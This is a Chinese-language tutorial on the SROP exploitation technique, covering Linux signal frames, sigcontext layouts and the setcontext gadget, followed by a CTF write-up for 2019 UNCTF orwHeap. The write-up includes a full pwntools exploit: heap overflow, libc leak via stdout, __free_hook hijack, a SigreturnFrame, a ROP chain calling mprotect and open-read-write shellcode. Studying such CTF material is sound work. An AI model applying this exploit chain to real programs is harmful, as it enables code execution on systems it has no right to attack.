Linux User Exploit(0)--SROP的引伸
字数 1682 2025-08-24 20:49:22
SROP (Sigreturn Oriented Programming) 攻击技术详解
1. SROP 概述
SROP (Sigreturn Oriented Programming) 是 ROP (Return Oriented Programming) 攻击方法中的一种变体,它利用 Linux 系统中的 signal 机制和 sigreturn 系统调用来实现对程序执行流的控制。
核心优势
- 减少寻找 gadgets 的难度
- 可以一次性控制所有寄存器
- 适用于缺乏足够 gadgets 的环境
2. 前置知识:Signal 机制
2.1 Signal 处理流程
- 内核向进程发送 signal,进程被挂起进入内核态
- 内核保存进程上下文(所有寄存器压入用户栈)
- 压入 signal 信息和指向
sigreturn的系统调用地址 - 跳转到注册的 signal handler 处理 signal
- signal handler 执行完后执行
sigreturn代码 - 内核恢复保存的进程上下文,控制权返回用户进程
2.2 Signal Frame 结构
内核在用户栈上保存的上下文结构称为 Signal Frame,包含:
- ucontext 结构体
- siginfo 信息
rt_sigreturn地址
3. sigcontext 结构体
3.1 64位结构体
struct _fpstate {
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext {
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union {
struct _fpstate *fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1[8];
};
3.2 32位结构体
struct sigcontext {
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate *fpstate;
unsigned long oldmask;
unsigned long cr2;
};
3.3 系统调用号
- 32位:
sigreturn调用号为 77 - 64位:
sigreturn调用号为 15
4. SROP 攻击原理
4.1 基本思路
- 构造一个伪造的 Signal Frame
- 控制程序执行
sigreturn系统调用 - 内核从伪造的 Signal Frame 恢复寄存器值
- 实现任意代码执行
4.2 关键点
- Signal Frame 保存在用户地址空间,可被攻击者读写
- 通过伪造 Signal Frame 可以控制所有寄存器
- 通常需要结合其他漏洞(如堆溢出、栈溢出)使用
5. 利用工具:pwntools 中的 SigreturnFrame
# 指定机器架构
context.arch = "amd64"
# 设置寄存器
sigframe = SigreturnFrame()
sigframe.rax = 0x1
sigframe.rdi = 0x2
sigframe.rsi = 0x3
sigframe.rdx = 0x4
6. setcontext 函数利用
setcontext 函数是 SROP 攻击中的重要跳板:
int setcontext(const ucontext_t *ucp);
6.1 关键指令
0x7ffff7a7bb85 <setcontext+53>: mov rsp, QWORD PTR [rdi+0xa0]
0x7ffff7a7bb8c <setcontext+60>: mov rbx, QWORD PTR [rdi+0x80]
0x7ffff7a7bb93 <setcontext+67>: mov rbp, QWORD PTR [rdi+0x78]
0x7ffff7a7bb97 <setcontext+71>: mov r12, QWORD PTR [rdi+0x48]
0x7ffff7a7bb9b <setcontext+75>: mov r13, QWORD PTR [rdi+0x50]
0x7ffff7a7bb9f <setcontext+79>: mov r14, QWORD PTR [rdi+0x58]
0x7ffff7a7bba3 <setcontext+83>: mov r15, QWORD PTR [rdi+0x60]
0x7ffff7a7bba7 <setcontext+87>: mov rcx, QWORD PTR [rdi+0xa8]
0x7ffff7a7bbae <setcontext+94>: push rcx
0x7ffff7a7bbaf <setcontext+95>: mov rsi, QWORD PTR [rdi+0x70]
0x7ffff7a7bbb3 <setcontext+99>: mov rdx, QWORD PTR [rdi+0x88]
0x7ffff7a7bbba <setcontext+106>: mov rcx, QWORD PTR [rdi+0x98]
0x7ffff7a7bbc1 <setcontext+113>: mov r8, QWORD PTR [rdi+0x28]
0x7ffff7a7bbc5 <setcontext+117>: mov r9, QWORD PTR [rdi+0x30]
0x7ffff7a7bbc9 <setcontext+121>: mov rdi, QWORD PTR [rdi+0x68]
0x7ffff7a7bbcd <setcontext+125>: xor eax, eax
0x7ffff7a7bbcf <setcontext+127>: ret
6.2 使用技巧
- 通常从
setcontext+53开始使用,避开fldenv [rcx]指令 - 可用于调用
mprotect后跳转到 shellcode
7. 实例分析:2019 UNCTF orwHeap
7.1 题目分析
- 程序功能:堆分配、编辑、删除,无输出功能
- 保护机制:未开启全部保护
- 漏洞点:堆溢出漏洞
7.2 利用步骤
-
堆布局与泄露地址
- 利用堆溢出修改堆大小造成堆重叠
- 控制堆块留下
main_arena地址 - 修改地址分配到
stdout附近(爆破一个字节) - 获取 libc 地址
-
劫持 __free_hook
- 利用 fastbin attack 劫持
__free_hook - 设置为
setcontext函数地址
- 利用 fastbin attack 劫持
-
构造 SROP 链
- 使用
setcontext进行寄存器控制 - 调用
mprotect修改内存权限 - 执行 ORW (Open-Read-Write) shellcode 读取 flag
- 使用
7.3 关键 EXP 代码
# 堆布局与泄露
add(0x68, '\n')
add(0x78, '\n')
add(0x68, (p64(0)+p64(0x21))*6 + '\n')
add(0x68, (p64(0)+p64(0x21))*6 + '\n')
delete(0)
add(0x68, 'a'*0x60 + p64(0) + p8(0xf1))
delete(1)
delete(2)
add(0x78, '\n')
delete(0)
add(0x68, 'a'*0x60 + p64(0) + p8(0xa1))
delete(1)
add(0x98, '\n')
edit(1, 'b'*0x70 + p64(0) + p64(0x71) + p16(0x25dd)) # 爆破部分
# 泄露libc地址
add(0x68, '\n')
add(0x68, 'c'*0x33 + p64(0xfbad2887 | 0x1000) + p64(0)*3 + '\n')
p.recvn(0x88)
libc_addr = u64(p.recvn(8)) - libc.symbols['_IO_2_1_stdin_']
# 劫持__free_hook
edit(1, 'b'*0x70 + p64(0) + p64(0x91))
delete(2)
edit(1, 'b'*0x70 + p64(0) + p64(0x91) + p64(0) + p64(libc_addr + libc.symbols['__free_hook'] - 0x20))
add(0x88, '\n')
edit(1, 'b'*0x70 + p64(0) + p64(0x71))
delete(2)
edit(1, 'b'*0x70 + p64(0) + p64(0x71) + p64(libc_addr + libc.symbols['__free_hook'] - 0x13))
# 构造SROP Frame
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000
frame.rsp = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000
frame.rip = libc_addr + 0x00000000000bc375 # syscall; ret;
# 触发SROP
add(0x68, payload[0x80:0x80+0x60] + '\n')
add(0x68, 'fff' + p64(libc_addr + libc.symbols['setcontext'] + 53) + '\n')
edit(1, payload[:0x98])
delete(1)
# ROP链执行ORW
layout = [
libc_addr + 0x0000000000021102, # pop rdi; ret;
(libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000,
libc_addr + 0x00000000000202e8, # pop rsi; ret;
0x2000,
libc_addr + 0x0000000000001b92, # pop rdx; ret;
7,
libc_addr + 0x0000000000033544, # pop rax; ret;
10,
libc_addr + 0x00000000000bc375, # syscall; ret;
libc_addr + 0x0000000000002a71, # jmp rsp;
]
# ORW shellcode
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js failed
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
jmp exit
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
exit:
xor edi, edi
mov eax, 231
syscall
''')
p.send(flat(layout) + shellcode)
p.interactive()
8. 防御措施
-
内核层面
- 检查 Signal Frame 是否来自用户空间
- 限制
sigreturn系统调用的使用
-
程序层面
- 启用所有保护机制(ASLR, NX, Stack Canary 等)
- 避免内存破坏漏洞
-
编译器层面
- 使用更安全的编译选项
- 插入防护代码
9. 总结
SROP 是一种强大的攻击技术,它通过利用 signal 机制和 sigreturn 系统调用,能够绕过传统 ROP 需要大量 gadgets 的限制。攻击者通过伪造 Signal Frame 可以一次性控制所有寄存器,实现任意代码执行。防御 SROP 需要从内核、程序和编译器多个层面进行防护。